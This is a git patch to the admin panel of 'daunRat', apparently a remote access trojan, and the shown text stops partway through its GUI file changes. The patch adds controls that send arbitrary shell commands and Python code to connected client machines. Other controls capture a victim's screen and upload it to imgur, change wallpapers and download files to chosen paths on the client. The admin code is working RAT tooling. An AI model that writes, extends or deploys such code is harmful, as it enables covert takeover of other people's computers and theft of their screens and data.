From bbc2839eb992388e9b52d69736200ffbaab63578 Mon Sep 17 00:00:00 2001 From: BarsTiger Date: Fri, 27 May 2022 12:36:04 +0300 Subject: [PATCH] python and shell commands --- admin/daunRat_admin.py | 43 ++++++++++++++++++++++++++------- admin/gui/gui.py | 25 +++++-------------- admin/gui/gui.ui | 55 +++++++++++------------------------------- client/daunRat.py | 4 +++ 4 files changed, 58 insertions(+), 69 deletions(-) diff --git a/admin/daunRat_admin.py b/admin/daunRat_admin.py index d3bb9f3..fe69808 100644 --- a/admin/daunRat_admin.py +++ b/admin/daunRat_admin.py @@ -98,13 +98,13 @@ def handle_menu_click(text: str) -> None: """ index = { "Menu": [open_menu, None], - "Devices": [ui.pagesWidget.setCurrentIndex, 1], - "Screenshot": [ui.pagesWidget.setCurrentIndex, 2], - "Wallpaper": [ui.pagesWidget.setCurrentIndex, 3], - "Console": [ui.pagesWidget.setCurrentIndex, 4], - "Python": [ui.pagesWidget.setCurrentIndex, 5], - "Download": [ui.pagesWidget.setCurrentIndex, 6], - "Settings": [ui.pagesWidget.setCurrentIndex, 7] + "Devices": [ui.pagesWidget.setCurrentIndex, 0], + "Screenshot": [ui.pagesWidget.setCurrentIndex, 1], + "Wallpaper": [ui.pagesWidget.setCurrentIndex, 2], + "Console": [ui.pagesWidget.setCurrentIndex, 3], + "Python": [ui.pagesWidget.setCurrentIndex, 4], + "Download": [ui.pagesWidget.setCurrentIndex, 5], + "Settings": [ui.pagesWidget.setCurrentIndex, 6] } index[text][0](index[text][1]) @@ -120,6 +120,7 @@ def handle_ping(data) -> None: def on_logs(data): + print(data) ui.logsPytoon.append(data) ui.logsConsole.append(data) ui.downloadLogs.append(data) @@ -144,17 +145,23 @@ def take_screenshot() -> None: client.trigger('admin-' + str(client_id), 'python', f""" imgur_image = daun.screenshot.upload_to_imgur("{Settings.get_settings().get('client_id')}") client.trigger('client-{client_id}', 'screenshot', imgur_image) -client.trigger('client-{client_id}', 'logs', "Received screenshot: " + imgur_image) +log("Received screenshot: " + imgur_image) """) def on_screenshot(data): - print("on screenshot") image = QtGui.QImage() image.loadFromData(requests.get(data).content) ui.screenshotLabel.setPixmap(QtGui.QPixmap(image)) +def we_controller(button): + client.trigger('admin-' + str(client_id), 'python', f""" +daun.wallpaperengine.control_we("{button.text().lower()}") +log("Received we command: {button.text().lower()}") +""") + + def connect_to_rat() -> None: """ Connects to rat based on selected id @@ -211,11 +218,29 @@ ui.leftMenu.itemClicked.connect(lambda: handle_menu_click(ui.leftMenu.currentIte ui.saveSettingsButton.clicked.connect(lambda: (globals().update(settings=update_settings(ui)))) ui.reconRefreshButton.clicked.connect(lambda: reconnect_to_pusher()) ui.connectButton.clicked.connect(lambda: connect_to_rat()) +ui.availableDevices.itemDoubleClicked.connect(lambda: connect_to_rat()) ui.pingButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'ping', 'ping')) ui.clearPythonLogs.clicked.connect(lambda: clear_logs()) ui.clearConsoleLogs.clicked.connect(lambda: clear_logs()) ui.clearDlLogsButton.clicked.connect(lambda: clear_logs()) ui.takeScreenshotButton.clicked.connect(lambda: take_screenshot()) +ui.setWallpaperButton.clicked.connect(lambda: client.trigger('admin-' + str(client_id), 'python', f""" +daun.wallpaper.set_wallpaper("{ui.wallpaperUrlBox.text()}") +log("Wallpaper set to: {ui.wallpaperUrlBox.text()}") +""")) +ui.pauseWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.pauseWallpaperEngineButton)) +ui.playWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.playWallpaperEngineButton)) +ui.stopWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.stopWallpaperEngineButton)) +ui.muteWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.muteWallpaperEngineButton)) +ui.unmuteWallpaperEngineButton.clicked.connect(lambda: we_controller(ui.unmuteWallpaperEngineButton)) +ui.wallpaperScreenshotButton.clicked.connect(lambda: client.trigger('admin-' + str(client_id), 'python', f""" +daun.wallpaper.set_wallpaper(daun.screenshot.save_screenshot()) +log("Screenshot set as wallpaper") +""")) +ui.sendCommandButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'command', + ui.commandBox.text())) +ui.execPythonButton.clicked.connect(lambda: client.trigger('admin-' + client_id, 'python', + ui.pythonScriptEditor.toPlainText())) # Handling closing of the window to exit whole program sys.exit(app.exec_()) diff --git a/admin/gui/gui.py b/admin/gui/gui.py index 8294156..92d4bdd 100644 --- a/admin/gui/gui.py +++ b/admin/gui/gui.py @@ -381,22 +381,6 @@ class Ui_MainWindow(object): sizePolicy.setHeightForWidth(self.pagesWidget.sizePolicy().hasHeightForWidth()) self.pagesWidget.setSizePolicy(sizePolicy) self.pagesWidget.setObjectName("pagesWidget") - self.startPage = QtWidgets.QWidget() - self.startPage.setObjectName("startPage") - self.verticalLayout_6 = QtWidgets.QVBoxLayout(self.startPage) - self.verticalLayout_6.setContentsMargins(0, 0, 0, 0) - self.verticalLayout_6.setSpacing(0) - self.verticalLayout_6.setObjectName("verticalLayout_6") - self.dLogo = QtWidgets.QLabel(self.startPage) - self.dLogo.setStyleSheet("font: 166pt \"Comic Sans MS\";\n" -"color: rgb(40, 40, 40);") - self.dLogo.setObjectName("dLogo") - self.verticalLayout_6.addWidget(self.dLogo, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter) - self.choosePanelLabel = QtWidgets.QLabel(self.startPage) - self.choosePanelLabel.setStyleSheet("color: rgb(70, 70, 70);") - self.choosePanelLabel.setObjectName("choosePanelLabel") - self.verticalLayout_6.addWidget(self.choosePanelLabel, 0, QtCore.Qt.AlignHCenter|QtCore.Qt.AlignVCenter) - self.pagesWidget.addWidget(self.startPage) self.devicesPage = QtWidgets.QWidget() self.devicesPage.setObjectName("devicesPage") self.devicesButtonLayout = QtWidgets.QVBoxLayout(self.devicesPage) @@ -576,6 +560,10 @@ class Ui_MainWindow(object): self.downloadUrl.setMinimumSize(QtCore.QSize(0, 30)) self.downloadUrl.setObjectName("downloadUrl") self.verticalLayout_10.addWidget(self.downloadUrl, 0, QtCore.Qt.AlignTop) + self.pathToFileDownload = QtWidgets.QLineEdit(self.downloadFilePage) + self.pathToFileDownload.setMinimumSize(QtCore.QSize(0, 30)) + self.pathToFileDownload.setObjectName("pathToFileDownload") + self.verticalLayout_10.addWidget(self.pathToFileDownload) self.downloadButton = QtWidgets.QPushButton(self.downloadFilePage) self.downloadButton.setMinimumSize(QtCore.QSize(0, 30)) self.downloadButton.setObjectName("downloadButton") @@ -660,7 +648,7 @@ class Ui_MainWindow(object): self.saveSettingsButton.setObjectName("saveSettingsButton") self.gridLayout.addWidget(self.saveSettingsButton, 1, 0, 1, 1) self.pagesWidget.addWidget(self.settingsPage) - self.horizontalLayout.addWidget(self.pagesWidget, 0, QtCore.Qt.AlignTop) + self.horizontalLayout.addWidget(self.pagesWidget) MainWindow.setCentralWidget(self.centralwidget) self.retranslateUi(MainWindow) @@ -691,8 +679,6 @@ class Ui_MainWindow(object): item = self.leftMenu.item(7) item.setText(_translate("MainWindow", "Settings")) self.leftMenu.setSortingEnabled(__sortingEnabled) - self.dLogo.setText(_translate("MainWindow", "D")) - self.choosePanelLabel.setText(_translate("MainWindow", "Choose panel in left side, scroll menu to see more")) self.connectButton.setText(_translate("MainWindow", "Connect")) self.pingButton.setText(_translate("MainWindow", "Ping")) self.reconRefreshButton.setText(_translate("MainWindow", "Reconnect and refresh")) @@ -714,6 +700,7 @@ class Ui_MainWindow(object): self.execPythonButton.setText(_translate("MainWindow", "Execute")) self.clearPythonLogs.setText(_translate("MainWindow", "Clear logs")) self.downloadUrl.setPlaceholderText(_translate("MainWindow", "File url")) + self.pathToFileDownload.setPlaceholderText(_translate("MainWindow", "Output file path")) self.downloadButton.setText(_translate("MainWindow", "Download")) self.downloadLogs.setHtml(_translate("MainWindow", "\n" "